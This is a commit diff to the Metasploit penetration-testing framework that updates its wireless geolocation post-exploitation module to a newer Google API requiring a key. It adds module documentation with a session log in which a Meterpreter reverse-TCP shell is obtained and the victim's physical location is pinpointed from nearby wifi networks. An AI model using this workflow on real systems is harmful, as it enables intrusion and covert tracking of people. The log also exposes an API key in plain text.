Land #9033, Geolocate API update
commit
b7e209a5f3
|
@ -0,0 +1,66 @@
|
|||
## Creating A Testing Environment
|
||||
|
||||
For this module to work you need a box with a wireless adapter. The following methods are used to gather
|
||||
wireless information from the host:
|
||||
|
||||
- Windows: `netsh wlan show networks mode=bssid`
|
||||
- OSX: `/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s`
|
||||
- Linux: `iwlist scanning`
|
||||
- Solaris: `dladm scan-wifi`
|
||||
- BSD: `dmesg | grep -i wlan | cut -d ':' -f1 | uniq"`
|
||||
|
||||
If `GEOLOCATE` is set to true, Google's [GeoLocation APIs](https://developers.google.com/maps/documentation/geolocation/intro) are utilized.
|
||||
These APIs require a Google [API key](https://developers.google.com/maps/documentation/geolocation/get-api-key) to use them. The original
|
||||
methodology used by this module in [#3280](https://github.com/rapid7/metasploit-framework/pull/3280),
|
||||
which didn't require an API key, was found to no longer work in [#8928](https://github.com/rapid7/metasploit-framework/issues/8928).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Obatin a meterpreter session via whatever method
|
||||
3. Do: `use post/multi/gather/wlan_geolocate`
|
||||
4. Do: `set session #`
|
||||
5. Do: `set apikey [key]`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**geolocate**
|
||||
|
||||
A boolean on if wireless information should only be gathered, or the Google geolocate API should be used to geo the victim. Defaults to `false`
|
||||
|
||||
**apikey**
|
||||
|
||||
A string containing the Google provided geolocation api key. **REQUIRED** if `geolocate` is set to true. Defaults to empty string
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10
|
||||
|
||||
resource (met_rev.rc)> use exploit/multi/handler
|
||||
resource (met_rev.rc)> set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
resource (met_rev.rc)> setg lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (met_rev.rc)> set lport 9876
|
||||
lport => 9876
|
||||
resource (met_rev.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (met_rev.rc)> exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Started reverse TCP handler on 2.2.2.2:9876
|
||||
[*] Sending stage (179267 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (2.2.2.2:9876 -> 1.1.1.1:16111) at 2017-10-01 19:27:15 -0400
|
||||
|
||||
resource (met_rev.rc)> use post/multi/gather/wlan_geolocate
|
||||
resource (met_rev.rc)> set geolocate true
|
||||
geolocate => true
|
||||
resource (met_rev.rc)> set session 1
|
||||
session => 1
|
||||
resource (met_rev.rc)> set apikey ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
|
||||
apikey => ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
|
||||
msf post(wlan_geolocate) > run
|
||||
[+] Wireless list saved to loot.
|
||||
[*] Google indicates the device is within 30.0 meters of 30.3861197,-97.7385878.
|
||||
[*] Google Maps URL: https://maps.google.com/?q=30.3861197,-97.7385878
|
||||
[*] Post module execution completed
|
|
@ -7,11 +7,12 @@ module Rex
|
|||
module Google
|
||||
# @example
|
||||
# g = Rex::Google::Geolocation.new
|
||||
# g.set_api_key('example')
|
||||
# g.add_wlan("00:11:22:33:44:55", "example", -80)
|
||||
# g.fetch!
|
||||
# puts g, g.google_maps_url
|
||||
class Geolocation
|
||||
GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
|
||||
GOOGLE_API_URI = "https://www.googleapis.com/geolocation/v1/geolocate?key="
|
||||
|
||||
attr_accessor :accuracy
|
||||
attr_accessor :latitude
|
||||
|
@ -24,20 +25,24 @@ module Rex
|
|||
|
||||
# Ask Google's Maps API for the location of a given set of BSSIDs (MAC
|
||||
# addresses of access points), ESSIDs (AP names), and signal strengths.
|
||||
def fetch!
|
||||
@uri.query << @wlan_list.take(10).join("&wifi=")
|
||||
request = Net::HTTP::Get.new(@uri.request_uri)
|
||||
def fetch!
|
||||
request = Net::HTTP::Post.new(@uri.request_uri)
|
||||
request.body = {'wifiAccessPoints' => @wlan_list}.to_json
|
||||
request['Content-Type'] = 'application/json'
|
||||
http = Net::HTTP.new(@uri.host, @uri.port)
|
||||
http.use_ssl = true
|
||||
response = http.request(request)
|
||||
|
||||
msg = "Failure connecting to Google for location lookup."
|
||||
if response && response.code == '200'
|
||||
results = JSON.parse(response.body)
|
||||
self.latitude = results["location"]["lat"]
|
||||
self.longitude = results["location"]["lng"]
|
||||
self.accuracy = results["accuracy"]
|
||||
elsif response && response.body && response.code != '404' # we can json load and get a good error message
|
||||
msg += " Code #{results['error']['code']} for query #{@uri} with error #{results['error']['message']}"
|
||||
fail msg
|
||||
else
|
||||
msg = "Failure connecting to Google for location lookup."
|
||||
msg += " Code #{response.code} for query #{@uri}" if response
|
||||
fail msg
|
||||
end
|
||||
|
@ -45,15 +50,14 @@ module Rex
|
|||
|
||||
# Add an AP to the list to send to Google when {#fetch!} is called.
|
||||
#
|
||||
# Turns out Google's API doesn't really care about ESSID or signal strength
|
||||
# as long as you have BSSIDs. Presumably adding them will make it more
|
||||
# accurate? Who knows.
|
||||
#
|
||||
# @param mac [String] in the form "00:11:22:33:44:55"
|
||||
# @param ssid [String] ESSID associated with the mac
|
||||
# @param signal_strength [String] a thing like
|
||||
def add_wlan(mac, ssid = nil, signal_strength = nil)
|
||||
@wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
|
||||
def add_wlan(mac, signal_strength)
|
||||
@wlan_list.push({ :macAddress => mac.upcase.to_s, :signalStrength => signal_strength.to_s })
|
||||
end
|
||||
|
||||
def set_api_key(key)
|
||||
@uri = URI.parse(URI.encode(GOOGLE_API_URI + key))
|
||||
end
|
||||
|
||||
def google_maps_url
|
||||
|
|
|
@ -21,7 +21,8 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false])
|
||||
OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
|
||||
OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
|
||||
])
|
||||
|
||||
end
|
||||
|
@ -83,13 +84,16 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
def perform_geolocation(wlan_list)
|
||||
if wlan_list.blank?
|
||||
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
|
||||
print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.')
|
||||
return
|
||||
elsif datastore['APIKEY'].empty?
|
||||
print_error("Google API key is required.")
|
||||
return
|
||||
end
|
||||
g = Rex::Google::Geolocation.new
|
||||
|
||||
g.set_api_key(datastore['APIKEY'])
|
||||
wlan_list.each do |wlan|
|
||||
g.add_wlan(*wlan)
|
||||
g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
|
||||
end
|
||||
|
||||
begin
|
||||
|
|
Loading…
Reference in New Issue